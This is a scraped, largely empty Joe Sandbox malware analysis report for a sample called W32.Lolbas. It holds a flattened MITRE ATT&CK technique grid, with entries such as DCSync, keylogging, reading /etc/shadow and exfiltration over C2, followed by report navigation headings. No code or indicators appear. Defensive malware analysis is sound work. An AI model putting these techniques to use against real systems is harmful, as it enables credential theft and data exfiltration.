DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	41 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Users	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Bootkit	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Privilege Escalation

Compliance

Spreading

Networking

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe